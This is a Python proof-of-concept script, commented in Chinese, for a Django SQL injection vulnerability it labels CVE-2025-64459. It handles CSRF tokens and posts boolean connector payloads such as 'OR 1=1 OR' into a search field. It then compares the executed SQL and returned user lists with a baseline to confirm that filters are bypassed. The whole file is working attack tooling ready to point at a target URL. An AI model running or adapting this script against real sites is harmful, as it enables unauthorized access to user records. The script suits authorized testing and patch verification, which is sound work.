1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
|
import re
import sys
import argparse
import json
from typing import List, Tuple, Optional
import requests
DEFAULT_BASELINE = "AND"
DEFAULT_PAYLOADS = ["OR 1=1 OR", "AND 1=0 AND", "OR 'a'='a' OR"]
def extract_sql_and_users(html: str) -> Tuple[Optional[str], List[str]]:
"""
从HTML响应中提取已执行的SQL语句和用户列表。
假设模板结构如下：
- SQL位于 <pre>...</pre> 标签内。
- 用户位于 <li>username – email</li> 标签内。
请根据实际的响应格式调整正则表达式模式。
"""
# 从第一个<pre>...</pre>标签中提取SQL
sql_match = re.search(r"<pre>(.*?)</pre>", html, re.DOTALL)
executed_sql = sql_match.group(1).strip() if sql_match else None
# 从<li>...</li>标签中提取用户
users = re.findall(r"<li>(.*?)</li>", html)
users = [u.strip() for u in users if u.strip()]
return executed_sql, users
def send_payload(target_url: str, connector_value: str, verbose: bool = False) -> Tuple[Optional[str], List[str]]:
"""
使用指定的连接符值作为搜索字段发送POST请求。
处理CSRF令牌提取和会话管理。
从响应中返回已执行的SQL语句和用户列表。
"""
if verbose:
print(f"[*] 正在从 {target_url} 获取CSRF令牌...")
# 步骤1：发送GET请求以获取CSRF令牌
try:
get_resp = requests.get(target_url, timeout=10)
get_resp.raise_for_status()
except requests.RequestException as e:
print(f"[!] GET请求失败: {e}")
sys.exit(1)
# 从表单中提取csrfmiddlewaretoken
csrf_match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', get_resp.text)
if not csrf_match:
print("[!] 在响应中找不到CSRF令牌。")
sys.exit(1)
csrf_token = csrf_match.group(1)
if verbose:
print(f"[i] CSRF令牌: {csrf_token[:10]}...")
# 准备POST数据
data = {
"csrfmiddlewaretoken": csrf_token,
"search": connector_value,
}
# 使用会话来维护Cookie（包括CSRF令牌）
session = requests.Session()
session.cookies.update(get_resp.cookies)
if verbose:
print(f"[*] 正在发送POST请求，连接符 = {repr(connector_value)}...")
# 步骤2：发送带有负载的POST请求
try:
post_resp = session.post(target_url, data=data, timeout=10)
post_resp.raise_for_status()
except requests.RequestException as e:
print(f"[!] POST请求失败: {e}")
sys.exit(1)
# 解析响应
executed_sql, users = extract_sql_and_users(post_resp.text)
return executed_sql, users
def run_baseline(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]) -> Tuple[Optional[str], List[str]]:
print("[*] 正在运行基准测试...")
base_sql, base_users = send_payload(target_url, baseline, verbose)
print("\n--- 基准（安全） ---")
print("已执行的SQL：")
print(base_sql or "（未找到SQL）")
print("\n返回的用户：")
if base_users:
for u in base_users:
print(" -", u)
else:
print(" （无用户）")
if output_file:
with open(output_file, 'a') as f:
f.write("--- 基准 ---\n")
f.write(f"SQL: {base_sql or 'None'}\n")
f.write("Users: " + json.dumps(base_users) + "\n\n")
return base_sql, base_users
def run_exploit(target_url: str, payload: str, baseline_data: Tuple[Optional[str], List[str]], verbose: bool, output_file: Optional[str]):
print(f"\n[*] 正在运行利用测试，负载 = {repr(payload)}...")
exploit_sql, exploit_users = send_payload(target_url, payload, verbose)
print("\n--- 利用尝试 ---")
print("已执行的SQL：")
print(exploit_sql or "（未找到SQL）")
print("\n返回的用户：")
if exploit_users:
for u in exploit_users:
print(" -", u)
else:
print(" （无用户）")
if output_file:
with open(output_file, 'a') as f:
f.write(f"--- 利用: {payload} ---\n")
f.write(f"SQL: {exploit_sql or 'None'}\n")
f.write("Users: " + json.dumps(exploit_users) + "\n\n")
analyze_results(baseline_data[0], baseline_data[1], exploit_sql, exploit_users)
def run_multi(target_url: str, payloads: List[str], baseline: str, verbose: bool, output_file: Optional[str]):
base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
for payload in payloads:
run_exploit(target_url, payload, (base_sql, base_users), verbose, output_file)
def run_check(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]):
print("[*] 正在运行漏洞检查...")
base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
vulnerable = False
for payload in DEFAULT_PAYLOADS:
exploit_sql, exploit_users = send_payload(target_url, payload, verbose)
if base_users != exploit_users or (base_sql and exploit_sql and base_sql != exploit_sql):
print(f"[!] 使用负载 {repr(payload)} 检测到潜在漏洞。")
print(" 用户列表或SQL发生变化，表明可能存在注入。")
vulnerable = True
if output_file:
with open(output_file, 'a') as f:
f.write(f"--- 检查负载: {payload} ---\n")
f.write(f"SQL: {exploit_sql or 'None'}\n")
f.write("Users: " + json.dumps(exploit_users) + "\n\n")
if vulnerable:
print("\n[+] 目标可能易受攻击。")
else:
print("\n[-] 目标似乎不易受攻击（或解析失败）。")
def analyze_results(base_sql: Optional[str], base_users: List[str], exploit_sql: Optional[str], exploit_users: List[str]):
print("\n--- 分析 ---")
if base_sql and exploit_sql:
print("[i] 请比较基准WHERE子句与利用测试的WHERE子句（建议进行视觉检查）。")
if base_users != exploit_users:
print("[!] 基准请求和利用请求之间的用户列表发生了变化。")
print(" 这表明WHERE逻辑被修改，与SQL注入的特征一致。")
print(" 如果返回了更多用户，则负载可能绕过了过滤器。")
else:
print("[i] 用户列表未发生变化。目标可能已修复或负载无效。")
else:
print("[i] 无法从一个或多个响应中提取SQL。")
print(" 请确认模板是否包含用于显示SQL的 <pre>...</pre> 标签。")
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(
description="Django CVE-2025-64459 SQL注入PoC脚本",
formatter_class=argparse.RawTextHelpFormatter
)
subparsers = parser.add_subparsers(dest='mode', required=True, help='可用模式')
# 通用参数
def add_common_args(subparser):
subparser.add_argument('-u', '--url', required=True, help='目标URL（例如：http://127.0.0.1:8000/cve-2025-64459/）')
subparser.add_argument('-b', '--baseline', default=DEFAULT_BASELINE, help=f'基准连接符值（默认：{DEFAULT_BASELINE}）')
subparser.add_argument('-v', '--verbose', action='store_true', help='启用详细输出')
subparser.add_argument('-o', '--output', help='将输出保存到文件')
# Baseline 模式
baseline_parser = subparsers.add_parser('baseline', help='运行基准测试')
add_common_args(baseline_parser)
# Exploit 模式
exploit_parser = subparsers.add_parser('exploit', help='使用单个负载运行利用测试')
add_common_args(exploit_parser)
exploit_parser.add_argument('-p', '--payload', required=True, help='用于_connector的利用负载')
# Multi 模式
multi_parser = subparsers.add_parser('multi', help='测试多个负载')
add_common_args(multi_parser)
multi_parser.add_argument('-p', '--payload', action='append', help='利用负载（可多次使用）')
# Check 模式
check_parser = subparsers.add_parser('check', help='快速漏洞检查')
add_common_args(check_parser)
args = parser.parse_args()
target_url = args.url.rstrip("/") + "/"
baseline = args.baseline
verbose = args.verbose
output_file = args.output
if output_file:
with open(output_file, 'w') as f:
f.write(f"目标: {target_url}\n\n")
print(f"[+] 目标URL: {target_url}")
if verbose:
print("[i] 详细模式已启用。")
if args.mode == 'baseline':
run_baseline(target_url, baseline, verbose, output_file)
elif args.mode == 'exploit':
base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
run_exploit(target_url, args.payload, (base_sql, base_users), verbose, output_file)
elif args.mode == 'multi':
payloads = args.payload or DEFAULT_PAYLOADS
if not payloads:
print("[!] 未为multi模式提供负载。")
sys.exit(1)
run_multi(target_url, payloads, baseline, verbose, output_file)
elif args.mode == 'check':
run_check(target_url, baseline, verbose, output_file)
if __name__ == "__main__":
main()
|